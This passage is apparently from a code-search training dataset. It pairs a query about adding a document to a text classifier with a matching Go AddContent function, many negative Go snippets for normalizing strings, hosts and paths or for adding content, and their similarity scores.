== 0 {\n\t\t// simple command\n\t\treturn cmdText\n\t}\n\treturn fmt.Sprintf(\"%s; %s\", strings.Join(vars, \";\"), cmdText)\n}", "func (manager *ComposeStackManager) NormalizeStackName(name string) string {\n\treturn stackNameNormalizeRegex.ReplaceAllString(strings.ToLower(name), \"\")\n}", "func (a Addr) Normalize() string {\n\t// separate host and port\n\taddr, port, err := net.SplitHostPort(string(a))\n\tif err != nil {\n\t\taddr, port, _ = net.SplitHostPort(string(a) + \":53\")\n\t}\n\treturn net.JoinHostPort(addr, port)\n}", "func StandardizeSpaces(s string) string {\n\treturn strings.Join(strings.Fields(s), \" \")\n}", "func normalizeHelper(number string,\n\tnormalizationReplacements map[rune]rune,\n\tremoveNonMatches bool) string {\n\n\tvar normalizedNumber = NewBuilder(nil)\n\tfor _, character := range number {\n\t\tnewDigit, ok := normalizationReplacements[unicode.ToUpper(character)]\n\t\tif ok {\n\t\t\tnormalizedNumber.WriteRune(newDigit)\n\t\t} else if !removeNonMatches {\n\t\t\tnormalizedNumber.WriteRune(character)\n\t\t}\n\t\t// If neither of the above are true, we remove this character.\n\t}\n\treturn normalizedNumber.String()\n}", "func Normalize(t Tuplelike) Tuplelike {\n\treturn Divide(t, Magnitude(t))\n}", "func Normalize(color string) string {\n\t//normalize color\n\tif len(color) > 1 {\n\t\tif color[0] == '#' {\n\t\t\tif len(color) == 7 {\n\t\t\t\tcolor = \"FF\" + color[1:]\n\t\t\t} else {\n\t\t\t\tcolor = color[1:]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn strings.ToUpper(color)\n}", "func Normalize(input string) string {\n\tre := regexp.MustCompile(extendedKoreanRegex)\n\tendingNormalized := re.ReplaceAllStringFunc(\n\t\tinput,\n\t\tfunc(m string) string {\n\t\t\treturn normalizeEnding(m)\n\t\t},\n\t)\n\n\texclamationNormalized := removeRepeatingChar(endingNormalized)\n\trepeatingNormalized := normalizeRepeating(exclamationNormalized)\n\tcodaNNormalized := normalizeCodaN(repeatingNormalized)\n\ttypoCorrected := correctTypo(codaNNormalized)\n\n\treturn typoCorrected\n}", "func strim(in token.Token) token.Token {\n\tswitch in.Kind() {\n\tcase token.TK_ID, token.TK_BOOL:\n\t\treturn toLower(in)\n\tcase token.TK_STRING:\n\t\treturn stripEnds(in)\n\tdefault:\n\t\treturn in\n\t}\n}", "func WordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\n\tif strings.Contains(name, \"_\") {\n\t\treturn pflag.NormalizedName(strings.Replace(name, \"_\", \"-\", -1))\n\t}\n\treturn pflag.NormalizedName(name)\n}", "func (b *Buffer) Normalize() *Buffer {\n\tw, h := b.Size()\n\tb.Cursor.Normalize(w, h)\n\treturn b\n}", "func NormalizeLabel(label string) string {\n\n\t// Trivial case\n\tif len(label) == 0 {\n\t\treturn label\n\t}\n\n\t// Replace all non-alphanumeric runes with underscores\n\tlabel = strings.Map(sanitizeRune, label)\n\n\t// If label starts with a number, prepend with \"key_\"\n\tif unicode.IsDigit(rune(label[0])) {\n\t\tlabel = \"key_\" + label\n\t} else if strings.HasPrefix(label, \"_\") && !strings.HasPrefix(label, \"__\") && !featuregate.GetRegistry().IsEnabled(dropSanitizationGate.ID) {\n\t\tlabel = \"key\" + label\n\t}\n\n\treturn label\n}", "func (s *Solution) Normalize() *Solution {\n\tclone := s.Clone()\n\n\tfor i, _ := range clone.Weighings {\n\t\tclone.Weighings[i] = NewWeighing(clone.Weighings[i].Pan(0).Sort(), clone.Weighings[i].Pan(1).Sort())\n\t}\n\tclone.flags |= NORMALISED &^ (CANONICALISED)\n\treturn clone\n}", "func filterCharsAndNormalize(strData string) string {\n\tpattern := regexp.MustCompile(`[\\W_]+`)\n\treturn strings.ToLower(pattern.ReplaceAllString(strData, ` `))\n}", "func signV4TrimAll(input string) string {\n\t// Compress adjacent spaces (a space is determined by\n\t// unicode.IsSpace() internally here) to one space and return\n\treturn strings.Join(strings.Fields(input), \" \")\n}", "func NormalizeVersionName(version string) string {\n\tfor _, char := range TrimChars {\n\t\tversion = strings.ReplaceAll(version, char, \"\")\n\t}\n\treturn version\n}", "func (o *SparseCloudSnapshotAccount) SetNormalizedTags(normalizedTags []string) {\n\n\to.NormalizedTags = &normalizedTags\n}", "func Vnormalize(v Vect) Vect {\n\treturn goVect(C.cpvnormalize(v.c()))\n}", "func NewNormalizer() *Normalizer {\n\treturn &Normalizer{\n\t\ttrans: transform.Chain(norm.NFD, runes.Remove(mn), norm.NFC),\n\t}\n}", "func NormalizeString(s string) string {\n l := strings.ToLower(s)\n t := transform.Chain(norm.NFD, transform.RemoveFunc(isMn), norm.NFC)\n n, _, _ := transform.String(t, l)\n return n\n}", "func normalizeHeader(header string) string {\n\tre := regexp.MustCompile(\"[[:^ascii:]]\")\n\treturn strings.ToLower(strings.TrimSpace(re.ReplaceAllLiteralString(header, \"\")))\n}", "func Normalize(path string) string {\n\treturn filepath.Clean(filepath.ToSlash(path))\n}", "func NormalizeName(s string) string {\n\treturn strings.ToLower(strings.TrimSpace(s))\n}", "func (h Host) Normalize() string {\n\t// separate host and port\n\thost, _, err := net.SplitHostPort(string(h))\n\tif err != nil {\n\t\thost, _, _ = net.SplitHostPort(string(h) + \":\")\n\t}\n\treturn strings.ToLower(dns.Fqdn(host))\n}", "func normalizeCommit(commit string) string {\n\tcommit = strings.TrimPrefix(commit, \"tags/\")\n\tcommit = strings.TrimPrefix(commit, \"origin/\")\n\tcommit = strings.TrimPrefix(commit, \"heads/\")\n\treturn commit\n}", "func NormalizeString(word string) string {\n\tletters := []string{}\n\tfor _, letter := range word {\n\t\tletters = append(letters, strings.ToLower(string(letter)))\n\t}\n\tsort.Strings(letters)\n\treturn strings.Join(letters, \"\")\n}", "func sanitizeMetricName(namespace string, v *view.View) string {\n\tif namespace != \"\" {\n\t\tnamespace = strings.Replace(namespace, \" \", \"\", -1)\n\t\treturn sanitizeString(namespace) + \".\" + sanitizeString(v.Name)\n\t}\n\treturn sanitizeString(v.Name)\n}", "func (ss *Strings) Normalize() []string {\n\tls := make([]string, len(*ss))\n\n\tfor x, v := range *ss {\n\t\tls[x] = v\n\t}\n\n\treturn ls\n}", "func Normalize(path string) string {\n\tif filepath.IsAbs(path) {\n\t\trel, err := filepath.Rel(\"/\", path)\n\t\tif err != nil {\n\t\t\tpanic(\"absolute filepath must be relative to /\")\n\t\t}\n\t\treturn rel\n\t}\n\treturn path\n}", "func Normalize(path string) string {\n\tif filepath.IsAbs(path) {\n\t\trel, err := filepath.Rel(\"/\", path)\n\t\tif err != nil {\n\t\t\tpanic(\"absolute filepath must be relative to /\")\n\t\t}\n\t\treturn rel\n\t}\n\treturn path\n}", "func NormalizedDistance(a, b []float32) (float32, error) {\n\tsim, err := cosineSim(a, b)\n\tif err != nil {\n\t\treturn 1, fmt.Errorf(\"normalized distance: %v\", err)\n\t}\n\n\treturn (1 - sim) / 2, nil\n}", "func normalizeStr(str string) string {\n\treturn strings.Replace(str, \"/\", \"-\", -1)\n}", "func NormalizeEmail(email string) string {\r\n\treturn strings.ToLower(strings.Trim(email, \" \"))\r\n}", "func NormalizeHost(host string) (string, error) {\n\tvar buf bytes.Buffer\n\n\t// hosts longer than 253 characters are illegal\n\tif len(host) > 253 {\n\t\treturn \"\", fmt.Errorf(\"hostname is too long, should contain less than 253 characters\")\n\t}\n\n\tfor _, r := range host {\n\t\tswitch r {\n\t\t// has null rune just toss the whole thing\n\t\tcase '\\x00':\n\t\t\treturn \"\", fmt.Errorf(\"hostname cannot contain null character\")\n\t\t// drop these characters entirely\n\t\tcase '\\n', '\\r', '\\t':\n\t\t\tcontinue\n\t\t// replace characters that are generally used for xss with '-'\n\t\tcase '>', '<':\n\t\t\tbuf.WriteByte('-')\n\t\tdefault:\n\t\t\tbuf.WriteRune(r)\n\t\t}\n\t}\n\n\treturn buf.String(), nil\n}", "func (mu *MuHash) normalize() {\n\tmu.numerator.Divide(&mu.denominator)\n\tmu.denominator.SetToOne()\n}", "func Humanize(n uint64) string {\n\t// -1 precision removes trailing zeros\n\treturn HumanizeWithPrecision(n, -1)\n}", "func NormalizeName(name string) string {\n\tname = strings.TrimLeft(name, \"_\")\n\treturn strings.ToUpper(name[:1]) + name[1:]\n}" ]
[ "0.64254564", "0.5996167", "0.59790814", "0.5877511", "0.58345115", "0.5779624", "0.57518613", "0.56995845", "0.5698832", "0.567942", "0.5675367", "0.5589547", "0.55747324", "0.55246043", "0.5511218", "0.54912746", "0.54622245", "0.54035467", "0.5398468", "0.53843504", "0.5318227", "0.5269848", "0.52636755", "0.52605927", "0.52332157", "0.5231175", "0.5222339", "0.5218161", "0.520573", "0.517494", "0.51472807", "0.5130612", "0.5034048", "0.5006782", "0.50049627", "0.5003855", "0.49854562", "0.49827135", "0.49704358", "0.49699563", "0.4969202", "0.4945383", "0.4943381", "0.4938682", "0.4928427", "0.4908027", "0.4892739", "0.48673847", "0.4836543", "0.4825624", "0.4823473", "0.4822291", "0.4813891", "0.48130903", "0.48097983", "0.4792921", "0.47914356", "0.47874114", "0.47742006", "0.47594127", "0.475763", "0.47462258", "0.47289613", "0.4726106", "0.47259286", "0.47179562", "0.4705508", "0.47038624", "0.46894345", "0.4684258", "0.46699592", "0.46646622", "0.46438336", "0.46373573", "0.46256298", "0.4624957", "0.46238032", "0.46074423", "0.4606552", "0.46057266", "0.45993355", "0.4596065", "0.4592769", "0.4592164", "0.45772874", "0.4570479", "0.45608395", "0.45605502", "0.45595962", "0.45594162", "0.4543933", "0.45412078", "0.45412078", "0.4536432", "0.45337683", "0.45200846", "0.4516202", "0.45018405", "0.44983086", "0.44980264" ]
0.7856833
0
AddContent incorporates the provided textual content into the classifier for matching. This will not modify the supplied content.
func (c *Classifier) AddContent(name string, content []byte) { doc := tokenize(content) c.addDocument(name, doc) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func AddContent(ignitionConfig *igntypes.Config, content []byte, dst string, mode *int) {\n\tcontentBase64 := base64.StdEncoding.EncodeToString(content)\n\tignitionConfig.Storage.Files = append(ignitionConfig.Storage.Files, igntypes.File{\n\t\tNode: igntypes.Node{\n\t\t\tPath: dst,\n\t\t},\n\t\tFileEmbedded1: igntypes.FileEmbedded1{\n\t\t\tContents: igntypes.Resource{\n\t\t\t\tSource: pointer.StringPtr(fmt.Sprintf(\"%s,%s\", defaultIgnitionContentSource, contentBase64)),\n\t\t\t},\n\t\t\tMode: mode,\n\t\t},\n\t})\n}", "func (mime *MIMEMessage)addContent(content string) {\n\tmime.container.WriteString(fmt.Sprintf(\"--%s\\r\\n\", mime.boundary))\n\tmime.container.WriteString(\"Content-Type: text/plain; charset=UTF-8\\r\\n\")\n\tmime.container.WriteString(content)\n}", "func (p *ParseData) SetContent(c string) {\n\tp.content = c\n}", "func (ct *ContentTypes) RegisterContent(fileName string, contentType ml.ContentType) {\n\tif fileName[0] != '/' {\n\t\tfileName = \"/\" + fileName\n\t}\n\n\tct.ml.Overrides = append(ct.ml.Overrides, &ml.TypeOverride{\n\t\tPartName: fileName,\n\t\tContentType: contentType,\n\t})\n\n\tct.file.MarkAsUpdated()\n}", "func ContentContains(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldContent), v))\n\t})\n}", "func (m *Model) SetContent(content string) {\n\tm.Content = content\n}", "func (m *Model) SetContent(content string) {\n\tm.Content = content\n}", "func (a *AcceptMessage) WithContent(content string) *AcceptMessage {\n\ta.Embed = &discordgo.MessageEmbed{\n\t\tColor: components.EmbedColorDefault,\n\t\tDescription: content,\n\t}\n\treturn a\n}", "func NewContent(chainContent *ChainContent, sequence int) *Content {\n\treturn &Content{\n\t\tLabel: chainContent.Label,\n\t\tType: fmt.Sprintf(\"%v\", chainContent.Value[0]),\n\t\tValue: fmt.Sprintf(\"%v\", chainContent.Value[1]),\n\t\tContentSequence: sequence,\n\t\tDType: []string{\"Content\"},\n\t}\n}", "func (d *Doc) AddMultilineText(x, y float64, content string) {\n\tdata := strings.Split(content, \"\\n\")\n\tfor i := range data {\n\t\td.AddText(x, y, data[i])\n\t\ty += d.DefaultLineHeight()\n\t}\n}", "func (d *Doc) AddText(x, y float64, content string) error {\n\td.SetPosition(x, y)\n\tif err := d.GoPdf.Cell(nil, content); err != nil {\n\t\treturn fmt.Errorf(\"error adding text to PDF: %s\", err)\n\t}\n\treturn nil\n}", "func (app *builder) WithContent(content Content) Builder {\n\tapp.content = content\n\treturn app\n}", "func (e *Element) SetContent(content []byte) {\n\tif len(e.children) > 0 {\n\t\treturn\n\t}\n\te.content = content\n}", "func (c *genericCatch) appendContent(content interface{}, pos Position) {\n\tswitch v := content.(type) {\n\tcase string:\n\t\tc.appendString(v, pos)\n\tcase []posContent:\n\t\tc.appendContents(v)\n\tcase []interface{}:\n\t\tfor _, item := range v {\n\t\t\tc.appendContent(item, pos)\n\t\t}\n\tcase posContent:\n\t\tc.appendContent(v.content, v.pos)\n\tdefault:\n\t\tc.pushContent(v, pos)\n\t}\n}", "func (u *GithubGistUpsertBulk) SetContent(v string) *GithubGistUpsertBulk {\n\treturn u.Update(func(s *GithubGistUpsert) {\n\t\ts.SetContent(v)\n\t})\n}", "func (o *ResourceIdTagsJsonTags) SetContent(v string) {\n\to.Content = &v\n}", "func (u *GithubGistUpsert) SetContent(v string) *GithubGistUpsert {\n\tu.Set(githubgist.FieldContent, v)\n\treturn u\n}", "func NewContent(name string) *Content {\n\tthis := Content{}\n\tvar accessType string = \"acl\"\n\tthis.AccessType = &accessType\n\tvar runAsCurrentUser bool = false\n\tthis.RunAsCurrentUser = &runAsCurrentUser\n\tthis.Name = name\n\treturn &this\n}", "func (f *File) SetContent(content []byte) {\n\tf.content = content\n}", "func (ggc *GithubGistCreate) SetContent(s string) *GithubGistCreate {\n\tggc.mutation.SetContent(s)\n\treturn ggc\n}", "func (o *SimpleStringWeb) SetContent(v string) {\n\to.Content = &v\n}", "func (u *GithubGistUpsertOne) SetContent(v string) *GithubGistUpsertOne {\n\treturn u.Update(func(s *GithubGistUpsert) {\n\t\ts.SetContent(v)\n\t})\n}", "func (label *LabelWidget) SetContent(content string) {\n\tlabel.content = content\n\tlabel.needsRepaint = true\n}", "func (ac *ArticleCreate) SetContent(s string) *ArticleCreate {\n\tac.mutation.SetContent(s)\n\treturn ac\n}", "func (cfc *CustomerFollowCreate) SetContent(s string) *CustomerFollowCreate {\n\tcfc.mutation.SetContent(s)\n\treturn cfc\n}", "func (self *CommitMessagePanelDriver) Content(expected *TextMatcher) *CommitMessagePanelDriver {\n\tself.getViewDriver().Content(expected)\n\n\treturn self\n}", "func (o *PollersPostParams) SetContent(content *models.Poller20PartialPoller) {\n\to.Content = content\n}", "func (o *JsonEnvironment) SetContent(v []string) {\n\to.Content = &v\n}", "func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\n\tdefer debugTime()()\n\tcontentHash, err := d.shell.Add(bytes.NewReader(contents))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// strip off leading slash\n\tpath = path[1:]\n\n\td.rootlock.Lock()\n\tdefer d.rootlock.Unlock()\n\tnroot, err := d.shell.PatchLink(d.roothash, path, contentHash, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.roothash = nroot\n\td.publishHash(nroot)\n\treturn nil\n}", "func (ec *ExperienceCreate) SetContent(s string) *ExperienceCreate {\n\tec.mutation.SetContent(s)\n\treturn ec\n}", "func (s *Vocabulary) SetContent(v string) *Vocabulary {\n\ts.Content = &v\n\treturn s\n}", "func (s *ModelCard) SetContent(v string) *ModelCard {\n\ts.Content = &v\n\treturn s\n}", "func (s *UpdateModelCardInput) SetContent(v string) *UpdateModelCardInput {\n\ts.Content = &v\n\treturn s\n}", "func (s *LabelingJobDataAttributes) SetContentClassifiers(v []*string) *LabelingJobDataAttributes {\n\ts.ContentClassifiers = v\n\treturn s\n}", "func (t *TextUpdateSystem) Add(text *Text) {\n\tt.entities = append(t.entities, textEntity{text})\n}", "func (m *WorkbookCommentReply) SetContent(value *string)() {\n m.content = value\n}", "func (o *GetMessagesAllOf) SetMatchContent(v string) {\n\to.MatchContent = &v\n}", "func (ac *AnswerCreate) SetContent(s string) *AnswerCreate {\n\tac.mutation.SetContent(s)\n\treturn ac\n}", "func (o *FileDto) SetContent(v []string) {\n\to.Content = &v\n}", "func Content(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldContent), v))\n\t})\n}", "func (t Template) ProcessContent(content, source string) (string, error) {\n\treturn t.processContentInternal(content, source, nil, 0)\n}", "func NewContent(path string) *Content {\n\ttpl, err := template.ParseFiles(path)\n\tif err != nil {\n\t\tlog.WithField(\"Template\", path).WithError(err).Fatalf(\"Unable to process template\")\n\t}\n\treturn &Content{\n\t\ttpl: tpl,\n\t}\n}", "func (d *DiscordWebhook) SetContent(content string) {\n\td.Content = content\n}", "func (d *KrakenStorageDriver) PutContent(ctx context.Context, path string, content []byte) error {\n\tlog.Debugf(\"(*KrakenStorageDriver).PutContent %s\", path)\n\tpathType, pathSubType, err := ParsePath(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch pathType {\n\tcase _manifests:\n\t\terr = d.manifests.putContent(path, pathSubType)\n\tcase _uploads:\n\t\terr = d.uploads.putContent(path, pathSubType, content)\n\tcase _layers:\n\t\t// noop\n\t\treturn nil\n\tcase _blobs:\n\t\terr = d.uploads.putBlobContent(path, content)\n\tdefault:\n\t\treturn InvalidRequestError{path}\n\t}\n\tif err != nil {\n\t\treturn toDriverError(err, path)\n\t}\n\treturn nil\n}", "func (s *CreateModelCardInput) SetContent(v string) *CreateModelCardInput {\n\ts.Content = &v\n\treturn s\n}", "func (r *regulator) PutContent(ctx context.Context, path string, content []byte) error {\n\tr.enter()\n\tdefer r.exit()\n\n\treturn r.StorageDriver.PutContent(ctx, path, content)\n}", "func (s *Script) AddText(text string) {\n\tif text > \"\" {\n\t\t//s.SetText(html.EscapeString(text))\n\t\ts.SetText(text)\n\t}\n}", "func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\n\tau.mutation.SetContent(s)\n\treturn au\n}", "func (au *ArticleUpdate) SetContent(s string) *ArticleUpdate {\n\tau.mutation.SetContent(s)\n\treturn au\n}", "func (blk *Block) addContentsByString(contents string) error {\n\tcc := contentstream.NewContentStreamParser(contents)\n\toperations, err := cc.Parse()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tblk.contents.WrapIfNeeded()\n\toperations.WrapIfNeeded()\n\t*blk.contents = append(*blk.contents, *operations...)\n\n\treturn nil\n}", "func (d *driver) PutContent(ctx context.Context, path string, contents []byte) error {\n\t_, err := d.Client.PutObject(&obs.PutObjectInput{\n\t\tPutObjectBasicInput: obs.PutObjectBasicInput{\n\t\t\tObjectOperationInput: obs.ObjectOperationInput{\n\t\t\t\tBucket: d.Bucket,\n\t\t\t\tKey: d.obsPath(path),\n\t\t\t\tACL: d.getACL(),\n\t\t\t\tStorageClass: d.getStorageClass(),\n\t\t\t\t//SseHeader: obs.SseKmsHeader{Encryption: obs.DEFAULT_SSE_KMS_ENCRYPTION},\n\t\t\t},\n\t\t\tContentType: d.getContentType(),\n\t\t},\n\t\tBody: bytes.NewReader(contents),\n\t})\n\treturn parseError(path, err)\n}", "func (o *Comment) SetContent(v string) {\n\to.Content = &v\n}", "func NewContent(scope, content map[string]interface{}) (*ClaimContent, string, error) {\n\tcc := &ClaimContent{\n\t\tScope: scope,\n\t\tContents: content,\n\t}\n\treturn cc, cc.ID(), cc.Set()\n}", "func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\n\tauo.mutation.SetContent(s)\n\treturn auo\n}", "func (auo *ArticleUpdateOne) SetContent(s string) *ArticleUpdateOne {\n\tauo.mutation.SetContent(s)\n\treturn auo\n}", "func (pu *PostUpdate) SetContent(s string) *PostUpdate {\n\tpu.mutation.SetContent(s)\n\treturn pu\n}", "func (pu *PostUpdate) SetContent(s string) *PostUpdate {\n\tpu.mutation.SetContent(s)\n\treturn pu\n}", "func (r *AlibabaSecurityJaqRpCloudRphitAPIRequest) SetContent(_content string) error {\n\tr._content = _content\n\tr.Set(\"content\", _content)\n\treturn nil\n}", "func (o *MicrosoftGraphWorkbookComment) SetContent(v string) {\n\to.Content = &v\n}", "func (s *DescribeModelCardOutput) SetContent(v string) *DescribeModelCardOutput {\n\ts.Content = &v\n\treturn s\n}", "func Add(file string, content []byte) {\n\tblob.Add(file, content)\n}", "func AddTarContent(a *Archive, file io.Reader, to string) (int, error) {\n\treader := tar.NewReader(file)\n\tcount := 0\n\tfor {\n\t\thdr, err := reader.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\treturn count, err\n\t\t}\n\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeRegA, tar.TypeReg:\n\t\t\tif err := readFileFromTar(a, reader, hdr, to); err != nil {\n\t\t\t\treturn count, err\n\t\t\t}\n\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count, nil\n}", "func (s *CreateVocabularyInput) SetContent(v string) *CreateVocabularyInput {\n\ts.Content = &v\n\treturn s\n}", "func (s *ChatMessage) SetContent(v string) *ChatMessage {\n\ts.Content = &v\n\treturn s\n}", "func NewContent(\n\tinitialContent lease.ReadProxy,\n\tclock timeutil.Clock) (mc Content) {\n\tmc = &mutableContent{\n\t\tclock: clock,\n\t\tinitialContent: initialContent,\n\t\tdirtyThreshold: initialContent.Size(),\n\t}\n\n\treturn\n}", "func (s *ContactFlow) SetContent(v string) *ContactFlow {\n\ts.Content = &v\n\treturn s\n}", "func (r *mutationResolver) CreateContent(ctx context.Context, input *models.CreateContentInput) (*content.Content, error) {\n\tpanic(\"not implemented\")\n}", "func (s *Policy) SetContent(v string) *Policy {\n\ts.Content = &v\n\treturn s\n}", "func (upu *UnsavedPostUpdate) SetContent(s string) *UnsavedPostUpdate {\n\tupu.mutation.SetContent(s)\n\treturn upu\n}", "func (form *Form) AddText(text Text) {\n\tform.texts = append(form.texts, text)\n}", "func (s *ResourcePolicy) SetContent(v string) *ResourcePolicy {\n\ts.Content = &v\n\treturn s\n}", "func (s *UpdateContactFlowContentInput) SetContent(v string) *UpdateContactFlowContentInput {\n\ts.Content = &v\n\treturn s\n}", "func (d *Doc) AddWrapText(x1, y, x2 float64, content string) {\n\twidth := x2 - x1\n\tchars := []rune(content)\n\tlines := 0.0\n\tvar i, j int\n\tfor j = 0; j < len(chars); j++ {\n\t\tl, _ := d.GoPdf.MeasureTextWidth(string(chars[i:j]))\n\t\tif l >= width {\n\t\t\td.AddText(x1, y+d.LineHeight(d.defaultFontSize)*lines, string(chars[i:j-1]))\n\t\t\ti = j - 1\n\t\t\tlines++\n\t\t}\n\t}\n\t// fmt.Println(string(chars[]))\n}", "func (s *UpdateContactFlowModuleContentInput) SetContent(v string) *UpdateContactFlowModuleContentInput {\n\ts.Content = &v\n\treturn s\n}", "func (upuo *UnsavedPostUpdateOne) SetContent(s string) *UnsavedPostUpdateOne {\n\tupuo.mutation.SetContent(s)\n\treturn upuo\n}", "func NewContent(address common.Address, backend bind.ContractBackend) (*Content, error) {\n\tcontract, err := bindContent(address, backend, backend, backend)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Content{ContentCaller: ContentCaller{contract: contract}, ContentTransactor: ContentTransactor{contract: contract}, ContentFilterer: ContentFilterer{contract: contract}}, nil\n}", "func (m *ChatMessageAttachment) SetContent(value *string)() {\n err := m.GetBackingStore().Set(\"content\", value)\n if err != nil {\n panic(err)\n }\n}", "func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\n\tpuo.mutation.SetContent(s)\n\treturn puo\n}", "func (puo *PostUpdateOne) SetContent(s string) *PostUpdateOne {\n\tpuo.mutation.SetContent(s)\n\treturn puo\n}", "func ParseContent(text []byte) (*Appcast, error) {\n\tvar appcast = New()\n\terr := xml.Unmarshal(text, appcast)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn appcast, nil\n}", "func (m *MsgSubmitProposal) SetContent(content Content) error {\n\tmsg, ok := content.(proto.Message)\n\tif !ok {\n\t\treturn fmt.Errorf(\"can't proto marshal %T\", msg)\n\t}\n\tany, err := codectypes.NewAnyWithValue(msg)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.Content = any\n\treturn nil\n}", "func (_BaseContentSpace *BaseContentSpaceTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\n\treturn _BaseContentSpace.contract.Transact(opts, \"addContentType\", content_type, content_contract)\n}", "func (this *SIPMessage) SetContent(content interface{}, contentTypeHeader header.ContentTypeHeader) { //throws ParseException {\n\t//if content == nil) throw new NullPointerException(\"nil content\");\n\tthis.SetHeader(contentTypeHeader)\n\tlength := -1\n\tif s, ok := content.(string); ok {\n\t\tthis.messageContent = s\n\t\tlength = len(s)\n\t} else if b, ok := content.([]byte); ok {\n\t\tthis.messageContentBytes = b\n\t\tlength = len(b)\n\t} else {\n\t\tpanic(\"Don't support GenericObject\")\n\t\t//this.messageContentObject = content\n\t\t//length = len(content.(core.GenericObject).String())\n\t}\n\n\t//try {\n\n\t// if (content instanceof String )\n\t// length = ((String)content).length();\n\t// else if (content instanceof byte[])\n\t// length = ((byte[])content).length;\n\t// else\n\t// length = content.toString().length();\n\n\tif length != -1 {\n\t\tthis.contentLengthHeader.SetContentLength(length)\n\t}\n\t// } catch (InvalidArgumentException ex) {}\n\n}", "func (s *ContactFlowModule) SetContent(v string) *ContactFlowModule {\n\ts.Content = &v\n\treturn s\n}", "func (s *CreateContactFlowInput) SetContent(v string) *CreateContactFlowInput {\n\ts.Content = &v\n\treturn s\n}", "func LookupContent(ctx *pulumi.Context, args *LookupContentArgs, opts ...pulumi.InvokeOption) (*LookupContentResult, error) {\n\topts = internal.PkgInvokeDefaultOpts(opts)\n\tvar rv LookupContentResult\n\terr := ctx.Invoke(\"google-native:dataplex/v1:getContent\", args, &rv, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &rv, nil\n}", "func (o *DriveItemVersion) SetContent(v string) {\n\to.Content = &v\n}", "func (_BaseLibrary *BaseLibraryTransactor) AddContentType(opts *bind.TransactOpts, content_type common.Address, content_contract common.Address) (*types.Transaction, error) {\n\treturn _BaseLibrary.contract.Transact(opts, \"addContentType\", content_type, content_contract)\n}", "func (s *NotebookInstanceLifecycleHook) SetContent(v string) *NotebookInstanceLifecycleHook {\n\ts.Content = &v\n\treturn s\n}", "func (s *CreateContactFlowModuleInput) SetContent(v string) *CreateContactFlowModuleInput {\n\ts.Content = &v\n\treturn s\n}", "func (c *Sender) EmitContent(s string) {\n\tc.content = s\n}", "func (d *Doc) AddFormattedMultilineText(x, y float64, content string, size int, style string) {\n\td.SetFontSize(size)\n\td.SetFontStyle(style)\n\tdata := strings.Split(content, \"\\n\")\n\tfor i := range data {\n\t\td.AddText(x, y, data[i])\n\t\ty += d.DefaultLineHeight()\n\t}\n\td.DefaultFontSize()\n\td.DefaultFontStyle()\n}", "func (s *UpdatePolicyInput) SetContent(v string) *UpdatePolicyInput {\n\ts.Content = &v\n\treturn s\n}", "func ContentContainsFold(v string) predicate.Post {\n\treturn predicate.Post(func(s *sql.Selector) {\n\t\ts.Where(sql.ContainsFold(s.C(FieldContent), v))\n\t})\n}", "func (s *UtteranceBotResponse) SetContent(v string) *UtteranceBotResponse {\n\ts.Content = &v\n\treturn s\n}", "func (s *PutResourcePolicyInput) SetContent(v string) *PutResourcePolicyInput {\n\ts.Content = &v\n\treturn s\n}", "func (s *UiTemplate) SetContent(v string) *UiTemplate {\n\ts.Content = &v\n\treturn s\n}", "func (o *SimpleStringWeb) HasContent() bool {\n\tif o != nil && o.Content != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (editor *Editor) SetContent(html string, index int) {\n\teditor.inst.Call(\"setContent\", html, index)\n}", "func (s *CreatePolicyInput) SetContent(v string) *CreatePolicyInput {\n\ts.Content = &v\n\treturn s\n}" ]
[ "0.62289685", "0.5492262", "0.5414128", "0.53713363", "0.53075594", "0.52754915", "0.52754915", "0.5242286", "0.52243036", "0.52184814", "0.521659", "0.52130044", "0.5194028", "0.51517546", "0.5095292", "0.50909185", "0.50806564", "0.50798374", "0.507221", "0.505811", "0.50153166", "0.50104475", "0.49945822", "0.49522477", "0.49444008", "0.49368745", "0.49186692", "0.4915707", "0.48994523", "0.48876548", "0.48867884", "0.48816127", "0.48750994", "0.48610574", "0.48604476", "0.4851551", "0.48489514", "0.4844925", "0.4844796", "0.484468", "0.48392367", "0.48370793", "0.48357943", "0.48213017", "0.4819932", "0.48154545", "0.48059613", "0.47999254", "0.47999254", "0.47929573", "0.47860274", "0.47795004", "0.47769004", "0.47765905", "0.47765905", "0.4773581", "0.4773581", "0.47715724", "0.47699147", "0.4737014", "0.47300488", "0.47181135", "0.47044384", "0.4700733", "0.4700571", "0.46976915", "0.4695766", "0.4691165", "0.46866614", "0.46685123", "0.46596152", "0.46538407", "0.4650944", "0.46271005", "0.46264365", "0.46258074", "0.46115753", "0.46068263", "0.46068263", "0.4604805", "0.46007338", "0.45919815", "0.45883518", "0.45874313", "0.45852146", "0.4583838", "0.45638824", "0.4561636", "0.45601383", "0.45563465", "0.4552442", "0.45444238", "0.45381898", "0.45361686", "0.45356956", "0.4535253", "0.4524623", "0.45098943", "0.45096275", "0.45094004" ]
0.80562246
0
addDocument takes a textual document and incorporates it into the classifier for matching.
